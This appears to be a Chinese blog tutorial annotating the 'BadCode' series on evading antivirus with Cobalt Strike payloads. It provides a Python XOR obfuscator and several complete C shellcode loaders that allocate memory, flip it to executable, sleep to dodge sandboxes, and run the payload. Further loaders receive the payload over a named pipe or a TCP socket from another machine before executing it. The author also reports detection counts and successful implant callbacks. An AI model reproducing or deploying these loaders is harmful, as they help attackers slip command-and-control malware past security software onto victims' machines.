簡介
就是旋哥的BadCode系列，這次好好通讀下，然后我在旋哥的代碼上又改了些，加了些注釋，里面函數原型等。俺慢慢更新
項目地址：https://github.com/Rvn0xsy/BadCode
第一課
主要介紹了下cs的raw和c，然后就是混淆
旋哥使用Python做的混淆 xor加密，然后我把功能是干啥的都寫在了注釋里，
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1) # 批量讀取原始bin文件的1個字節
if not code: # 如果沒有東西就跳出循環
break
base10 = ord(code) ^ num # 使用code的ASCII碼值 異或 num
base10_str = chr(base10) # 然后把異或出來的值再轉換為char類型
shellcode_raw += base10_str.encode() # 將轉換回來的char類型再加密 然后拼接到shellcode_raw里
code_hex = hex(base10) # 轉換為16進制
code_hex = code_hex.replace('0x','') # 然后把0x替換為空
if(len(code_hex) == 1): # 如果長度==1
code_hex = '0' + code_hex # 比如是1 就變成01
shellcode += '\\x' + code_hex # 最后\x01拼接到shellcode里
shellcode_size += 1 # 長度+1個字節
# 然后while讀取整個文件 1. xor 2. 轉為char 3. 編碼 4. 轉換
src_fp.close() # 關閉原始的bin文件
dst_raw.write(shellcode_raw) # 向新的bin文件寫入
dst_raw.close() # 寫入完然后關閉
dst_fp.write(shellcode) # 向c文件寫入shellcode
dst_fp.close() # 寫入完然后關閉
return shellcode_size # 最后返回shellcode的長度
except Exception as e: # 錯誤處理
sys.stderr.writelines(str(e))
def main():
# 以下這些就是設置參數
# type：參數類型
# required：是否可以省略參數
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=False)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main()
21line 默認是\x，轉義符的問題 \\x解決
第二課
申請內存，並創建線程加載shellcode，然后就是xor解密然后加載
這是一個普通的，並沒有xor
#include <Windows.h>
// 入口函數
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 線程ID
HANDLE hThread; // 線程句柄
/* length: 800 bytes */
unsigned char buf[] = "";
// 獲取shellcode大小
shellcode_size = sizeof(buf);
/*
函數原型
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指向要分配區域的指定起始地址的長指針，如果為NULL系統自動分配
DWORD dwSize, // 指定區域的大小
DWORD flAllocationType, // 指定分配類型。
DWORD flProtect // 指定訪問保護的類型
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size, // shellcode的大小
MEM_COMMIT, // 為指定的頁面區域在內存或磁盤上的頁面文件中分配物理存儲
PAGE_EXECUTE_READWRITE // 啟用對頁面提交區域的執行、讀取和寫入訪問。
);
/*
void CopyMemory(
_In_ PVOID Destination, // 指向復制塊目標起始地址的指針
_In_ const VOID *Source, // 指向要復制的內存塊起始地址的指針。
_In_ SIZE_T Length // 要復制的內存大小
);
*/
// 將shellcode復制到可執行的內存頁中
CopyMemory(shellcode,buf,shellcode_size); // 1. 剛申請的一塊內存(shellcode) 2. 原來的數據的指針 3. 所需大小
/*
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全描述符
SIZE_T dwStackSize, // 堆棧的初始大小，如果為0系統給一個默認的
LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由線程執行的應用程序定義函數的指針
__drv_aliasesMem LPVOID lpParameter, // 指向要傳遞給線程的變量的指針
DWORD dwCreationFlags, // 創建線程的標志
LPDWORD lpThreadId // 線程ID
);
*/
// 創建線程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函數
NULL, // 參數
NULL, // 線程標志
&dwThreadId // 線程ID
);
/*
DWORD WaitForSingleObject(
HANDLE hHandle, // HANDLE
DWORD dwMilliseconds // 如果指定了非零值，則函數會等待，直到對象發出信號或間隔結束。如果dwMilliseconds為零，如果對象沒有發出信號，函數不會進入等待狀態；它總是立即返回。
如果dwMilliseconds是INFINITE，則該函數將僅在對象收到信號時返回。
);
*/
// 等待線程
WaitForSingleObject(hThread,INFINITE); // 一直等待線程執行結束, INFINITE是一個宏
return 0;
}
利用xor解密
這里shellcode[i]每一個與0x10再異或，得出原始的shellcode，再進行加載
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char buf[] = "";
int length = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i<length - 1; i++)
{
buf[i] ^= 0x10;
}
for (int i = 0; i < sizeof(buf)/sizeof(buf[0]); i++)
{
printf("\\x%x", buf[i]);
}
}
自己寫的一個xor的加密代碼 0x10就是key
第三課
主要是利用VirtualProtect函數改變VirtualAlloc申請地址的屬性
#include <Windows.h>
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode長度
DWORD dwThreadId; // 線程ID
HANDLE hThread; // 線程句柄
DWORD dwOldProtect; // 內存頁屬性
unsigned char buf[] = "";
// 獲取shellcode大小
shellcode_size = sizeof(buf);
/* 增加異或代碼 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 啟用對頁面提交區域的讀寫訪問。不再是可讀可寫可執行
);
// 將shellcode復制到可讀可寫的內存頁中
CopyMemory(shellcode,buf,shellcode_size);
/*
函數原型
BOOL VirtualProtect(
LPVOID lpAddress, // 要更改訪問保護屬性的頁面區域的起始頁面地址。 我們要修改shellcode的屬性，就是shellcode
SIZE_T dwSize, // 大小
DWORD flNewProtect, // 內存保護選項
PDWORD lpflOldProtect // 指向一個變量的指針，該變量接收指定頁面區域中第一頁的先前訪問保護值；也就是某個地址
);
*/
// 這里開始更改它的屬性為可執行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 1. 被更改的 2. 大小 3. 啟用對頁面提交區域的執行訪問(原來只是可讀可寫) 4. 原來的屬性
// 等待幾秒，興許可以跳過某些沙盒呢？
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函數
NULL, // 參數
NULL, // 線程標志
&dwThreadId // 線程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待線程執行結束
return 0;
}
其實這里修改的地方只有
- 申請的時候，光申請了可讀可寫，但是並不能執行
- 利用
VirtualProtect函數修改shellcode的屬性，並變成了可執行
報了六個的是普通的申請可讀可寫可執行權限的xor解密執行，報了四個的是先申請可讀可寫，后又修改屬性變成可執行的程序
然后再在上面的代碼的基礎上，不使用手動異或來進行操作，使用自帶函數
在測這個的時候，我還以為不上線呢，最后發現是sleep的問題 得等段時間了 然后我做了下輸出、
InterlockedXor8這個函數是對char值做異或，(但是我覺得做正常手動異或，應該沒事吧)
LONG InterlockedXor(
LONG volatile *Destination, // 指向第一個操作數的指針。該值將替換為操作的結果。 所以要+i，向后走 一個個異或替換
LONG Value
);
最后測試也是4個報毒，看來我之前的猜測沒有錯
第四課
這一節就涉及到命名管道和文件的操作讀寫，代碼比較多一些，注釋也比較多一些，所以比較雜亂
整體的代碼思路也就是，創建一個管道，然后調用RecvShellcode函數，將shellcode寫入管道，最后再通過讀取管道中的內容，xor解密，最后申請內存，並加載shellcode
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest"); // 匿名管道的名稱 也就是 \\.\pipe\BadCodeTest
char buf[] = "";
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient; // 客戶端的句柄
DWORD dwWritten; // 寫入長度 dwWriteLen不更好 哈哈
DWORD dwShellcodeSize = sizeof(buf); // shellcode的長度
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER); // 等待\\.\pipe\BadCodeTest有信號，
/*
HANDLE CreateFileA(
LPCSTR lpFileName, // 要創建或打開的文件或設備的名稱
DWORD dwDesiredAccess, // 請求的對文件或設備的訪問，讀，寫，讀或寫
DWORD dwShareMode, // 請求的文件或設備的共享模式，刪除，讀取，寫入
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全描述符
DWORD dwCreationDisposition, // 對存在或不存在的文件或設備采取的操作，通常為：OPEN_EXISTING
DWORD dwFlagsAndAttributes, // 文件或設備屬性和標志
HANDLE hTemplateFile // 具有GENERIC_READ訪問權限的模板文件的有效句柄
);
*/
// 連接\\.\pipe\BadCodeTest，然后請求對文件的寫入，客戶端只讀取，安全描述為為NULL，打開文件或設備，文件沒有其他屬性，沒有句柄
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
if(hPipeClient == INVALID_HANDLE_VALUE){ // 判斷是否失敗，失敗的返回值是INVALID_HANDLE_VALUE
printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}
/*
BOOL WriteFile(
HANDLE hFile, // 文件或 I/O 設備的句柄
LPCVOID lpBuffer, // 要寫入的數據，要寫入shellcode，就是shellcode
DWORD nNumberOfBytesToWrite, // 要寫入文件或設備的字節數
LPDWORD lpNumberOfBytesWritten, // 該接收使用同步時寫入的字節數
LPOVERLAPPED lpOverlapped // 如果hFile參數是用FILE_FLAG_OVERLAPPED打開的，則需要指向OVERLAPPED結構的指針，否則該參數可以為 NULL。
);
*/
// 寫入shellcode
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL); // WriteFile寫入文件，寫入到\\.\pipe\BadCodeTest里
if (dwWritten == dwShellcodeSize) { // 如果成功寫入，這兩個應該是一樣的
CloseHandle(hPipeClient); // 然后關掉句柄 打印成功，返回成功
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient); // 如果不成功，關掉句柄 返回失敗
return FALSE;
}
int wmain(int argc, TCHAR * argv[]) {
HANDLE hPipe; // 匿名管道的句柄
DWORD dwError; // Error的接收值
CHAR szBuffer[BUFF_SIZE]; // Buff大小 宏定義了BUFF_SIZE = 1024
DWORD dwLen; // 讀取字節數變量的指針
PCHAR pszShellcode = NULL; // shellcode
DWORD dwOldProtect; // 內存頁屬性
HANDLE hThread; // 線程句柄
DWORD dwThreadId; // 線程ID
/*
// 創建命名管道的實例並返回用於后續管道操作的句柄
HANDLE CreateNamedPipe(
LPCSTR lpName, // 命名管道的名稱
DWORD dwOpenMode, // 開放模式
DWORD dwPipeMode, // 管道模式
DWORD nMaxInstances, // 管道創建的最大實例數，可接受的值在 1 到PIPE_UNLIMITED_INSTANCES (255)的范圍內
DWORD nOutBufferSize, // 為輸出緩沖區保留的字節數
DWORD nInBufferSize, // 為輸入緩沖區保留的字節數
DWORD nDefaultTimeOut, // 默認超時值，零值將導致默認超時為 50 毫秒。
LPSECURITY_ATTRIBUTES lpSecurityAttributes // 老朋友了 安全描述符
);
*/
hPipe = CreateNamedPipe(
ptsPipeName, // \\.\pipe\BadCodeTest
PIPE_ACCESS_INBOUND, // 管道中的數據流僅從客戶端到服務器
PIPE_TYPE_BYTE | PIPE_WAIT, // PIPE_TYPE_BYTE：數據作為字節流寫入管道，PIPE_WAIT：阻塞模式啟用，等到有數據要讀取、所有數據都已寫入或客戶端已連接時，操作才會完成
PIPE_UNLIMITED_INSTANCES, // PIPE_UNLIMITED_INSTANCES也就是最大的255
BUFF_SIZE, // 1024
BUFF_SIZE, // 1024
0, // 50MS
NULL); // 空
if (hPipe == INVALID_HANDLE_VALUE) { // 也就是如果函數失敗了(INVALID_HANDLE_VALUE)
dwError = GetLastError(); // 獲取錯誤信息
printf("[-]Create Pipe Error : %d \n", dwError); // 然后打印
return dwError;
}
// 創建一個寫入shellcode的線程
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
/*
BOOL ConnectNamedPipe(
HANDLE hNamedPipe, // 命名管道實例的服務器端的句柄
LPOVERLAPPED lpOverlapped // 如果客戶端在調用函數后連接，則成功的同步操作會導致函數返回非零值
);
*/
if (ConnectNamedPipe(hPipe, NULL) > 0) { // 其實我覺得這里改為 !=0 應該更好
printf("[+]Client Connected...\n"); // 客戶端連接
/*
BOOL ReadFile(
HANDLE hFile, // 設備句柄
LPVOID lpBuffer, // 指向接收從文件或設備讀取的數據的緩沖區的指針
DWORD nNumberOfBytesToRead, // 讀取的最大字節數
LPDWORD lpNumberOfBytesRead, // 一個指向接收使用同步hFile參數時讀取的字節數的變量的指針
LPOVERLAPPED lpOverlapped // 如果hFile參數是用FILE_FLAG_OVERLAPPED打開的， 則需要指向OVERLAPPED結構的指針，否則它可以是NULL。
);
*/
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); // ReadFile讀取文件，從hPipe讀取到szBuffer里，最大數是1024
printf("[+]Get DATA Length : %d \n", dwLen); // 打印長度
// 剩下的都是老一套了
// 申請內存頁
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷貝內存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i< dwLen; i++) {
Sleep(50);
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 這里開始更改它的屬性為可執行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 執行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函數
NULL, // 參數
NULL, // 線程標志
&dwThreadId // 線程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
因為解密有些慢，所以上線要等一會，我打印出來比較明顯
等到跑完，就上線了。也可以分開整個Server端，寫入管道，client端 讀取然后加載
第五課
也就是分離免殺了，有上面的命名管道實現分離免殺，還有網絡傳輸實現分離免殺
命名管道的因為上面寫的比較細，我這下面就寫的粗略一點了，但是網絡傳輸的還是會仔細一些
命名管道
一開始按照我自己的思路敲的 但是不可以，我的思路還是有問題
Server
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "";
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID) {
DWORD dwError;
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
HANDLE hPipe;
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 連接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR * argv[]) {
RecvShellcode();
return 0;
}
Server沒啥可說的，就是等待命名管道的信號，然后將shellcode寫入
Client
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
int wmain(int argc, TCHAR * argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 內存頁屬性
HANDLE hThread;
DWORD dwThreadId;
hPipe = CreateNamedPipe(
ptsPipeName, // \\.\pipe\BadCodeTest
PIPE_ACCESS_INBOUND, // 管道中的數據流僅從客戶端到服務器
PIPE_TYPE_BYTE | PIPE_WAIT, // PIPE_TYPE_BYTE：數據作為字節流寫入管道，PIPE_WAIT：阻塞模式啟用，等到有數據要讀取、所有數據都已寫入或客戶端已連接時，操作才會完成
PIPE_UNLIMITED_INSTANCES, // PIPE_UNLIMITED_INSTANCES也就是最大的255
BUFF_SIZE, // 1024
BUFF_SIZE, // 1024
0, // 50MS
NULL); // 空
if (hPipe == INVALID_HANDLE_VALUE) { // 也就是如果函數失敗了(INVALID_HANDLE_VALUE)
dwError = GetLastError(); // 獲取錯誤信息
printf("[-]Create Pipe Error : %d \n", dwError); // 然后打印
return dwError;
}
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...\n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d \n", dwLen);
// 申請內存頁
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷貝內存
CopyMemory(pszShellcode, szBuffer, dwLen);
for (DWORD i = 0; i< dwLen; i++) {
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 這里開始更改它的屬性為可執行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 執行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函數
NULL, // 參數
NULL, // 線程標志
&dwThreadId // 線程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
客戶端創建了匿名管道后，然后服務端獲取信號，立即寫入shellcode，然后獲取解密 加載執行
SOCKET
我日 旋哥的這個寫法和我自己的思路有點不一樣；
先看服務端，但是旋哥叫客戶端，我有點理解不了 哈哈
我覺得服務端是發送shellcode的，客戶端是接收shellcode並加載的
整體的思路就是Client端運行后監聽 然后Server端發送shellcode，客戶端接收；其實可以服務端監聽 等待有消息后然后發送，因為我原來寫分離免殺就是這個樣，看我以后懶不懶了，要是不懶就發出來
Server
下面的inet_addr("10.10.0.142")，要換成監聽的Client端的IP
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib") // 加載ws2_32.lib庫文件
char buf[] = ""; // shellcode
int wmain(int argc, TCHAR argv[]) { // 入口函數
DWORD dwError; // 接收錯誤的變量
WORD sockVersion = MAKEWORD(2, 2); // 版本
WSADATA wsaData; // WSADATA數據結構的指針 ，用於接收 Windows 套接字實現的詳細信息
SOCKET socks; // 一個SOCKET套接字
SHORT sListenPort = 8888; // 監聽端口
struct sockaddr_in sin; // SOCKADDR_IN 結構為AF_INET地址族指定傳輸地址和端口
if (WSAStartup(sockVersion, &wsaData) != 0) // 使用Winsock 2 DLL，用於初始化WinSock；如果成功, WSAStartup函數返回零
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n", dwError);
return dwError;
}
/*
SOCKET WSAAPI socket(
int af, // 地址族規范，AF_INET：IPV4
int type, // 新套接字的類型規范。SOCK_STREAM是一種套接字類型，通過 OOB 數據傳輸機制提供有序的、可靠的、雙向的、基於連接的字節流。此套接字類型使用 Internet 地址族（AF_INET 或 AF_INET6）的傳輸控制協議 (TCP)。
int protocol // 要使用的協議
);
*/
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 建立SOCKET套接字
if (socks == INVALID_SOCKET) // 如果失敗就返回INVALID_SOCKET
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n", dwError);
return dwError;
}
// 然后配置sockaddr_in結構體
sin.sin_family = AF_INET; // 傳輸地址的地址族。此成員應始終設置為 AF_INET。
sin.sin_port = htons(sListenPort); // 傳輸協議端口號，htons：將主機的無符號短整形數轉換成網絡字節順序
sin.sin_addr.S_un.S_addr = inet_addr("10.10.0.142"); // 也就是客戶端的ip 包含 IPv4 傳輸地址的 IN_ADDR結構。inet_addr函數轉換包含IPv4的字符串點分十進制地址轉換成一個適當的地址 IN_ADDR結構
/*
int WSAAPI connect(
SOCKET s, // 標識未連接套接字的描述符
const sockaddr *name, // 指向應建立連接的sockaddr結構的指針 。
int namelen // 指向的sockaddr結構的長度
);
*/
if (connect(socks, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) // 鏈接到制定的socket
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n", dwError);
return dwError;
}
/*
int WSAAPI send(
SOCKET s, // 已連接的socket套接字
const char *buf, // 要發送的數據
int len, // 長度
int flags // 一組指定調用方式的標志
);
*/
int ret = send(socks, buf, sizeof(buf), 0); // 往指定的socket上發送數據
if (ret > 0) // 如果沒有發生錯誤， send返回發送的總字節數
{
printf("[+]Send %d-Bytes \n", ret);
closesocket(socks); // 發送完數據就關閉套接字
}
WSACleanup(); // 終止使用
return 0;
}
Client
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib")
BOOL RunCode(CHAR * code, DWORD dwCodeLen) // 執行ShellCode的函數，這里又不解釋了
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL, dwCodeLen, MEM_COMMIT, PAGE_READWRITE);
CopyMemory(pszShellcode, code, dwCodeLen);
for (DWORD i = 0; i< dwCodeLen; i++) {
InterlockedXor8(pszShellcode + i, 0X10);
printf("%c \n", pszShellcode[i]);
}
// 這里開始更改它的屬性為可執行
VirtualProtect(pszShellcode, dwCodeLen, PAGE_EXECUTE, &dwOldProtect);
// 執行Shellcode
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)pszShellcode,NULL,NULL,&dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}
int wmain(int argc, TCHAR argv[]) {
// 下面的參數和服務端的差不多 就不解釋了，其實看變量名很多都知道是干什么的
CHAR buf[1024]; // 要接收的shellcode
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SOCKET sClient; // recv等待成功后會返回一個新的套接字
struct sockaddr_in s_client; // 接收連接實體的地址
INT nAddrLen = sizeof(s_client); // 一個指向整數的可選指針，該整數包含由addr參數指向的結構的長度
SHORT sListenPort = 8888;
struct sockaddr_in sin;
if (WSAStartup(sockVersion, &wsaData) != 0) // 老一套
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n", dwError);
return dwError;
}
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // 老一套
if (socks == INVALID_SOCKET) // 老一套
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n", dwError);
return dwError;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort); // 端口
sin.sin_addr.S_un.S_addr = INADDR_ANY; // INADDR_ANY就是指定地址為0.0.0.0的地址 因為他是監聽
/*
int WSAAPI bind(
SOCKET s, // 未綁定套接字
const sockaddr *name, // 要分配給綁定套接字的本地地址的sockaddr結構的指針。
int namelen // 長度
);
*/
if (bind(socks, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) // 進行綁定
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n", dwError);
return dwError;
}
/*
int WSAAPI listen(
SOCKET s, // 標識綁定的未連接套接字
int backlog // 處理的最大長度
);
*/
if (listen(socks, 5) == SOCKET_ERROR) // 監聽
{
dwError = GetLastError();
printf("[*]Listen Error : %d \n", dwError);
return dwError;
}
else
{
printf("開啟監聽\n");
}
/*
SOCKET WSAAPI accept(
SOCKET s, // 標識已使用偵聽功能置於偵聽狀態的套接字，也就是我們上面listen的第一個參數
sockaddr *addr, // 一個可選的指向緩沖區的指針，該緩沖區接收連接實體的地址
int *addrlen // 一個指向整數的可選指針，該整數包含由addr參數指向的結構的長度
);
*/
sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen); // 接受要發過來的請求
/*
int WSAAPI recv(
SOCKET s, // 已連接套接字的描述符，可以理解成以接受的那個變量
char *buf, // 接收傳入數據到指定的緩沖區的指針
int len, // 接收的長度
int flags // 一組影響此函數行為的標志
);
*/
int ret = recv(sClient, buf, sizeof(buf), 0); // 接收數據 shellcode
if (ret > 0) // 如果接收成功，關閉兩個套接字
{
printf("[+]Recv %d-Bytes \n", ret);
closesocket(sClient);
closesocket(socks);
}
WSACleanup(); // 關閉
RunCode(buf, sizeof(buf)); // 然后加載shellcode
return 0;
}
然后測試，運行Client 開始監聽，運行Server發送shellcode到Client，加載執行
上線成功
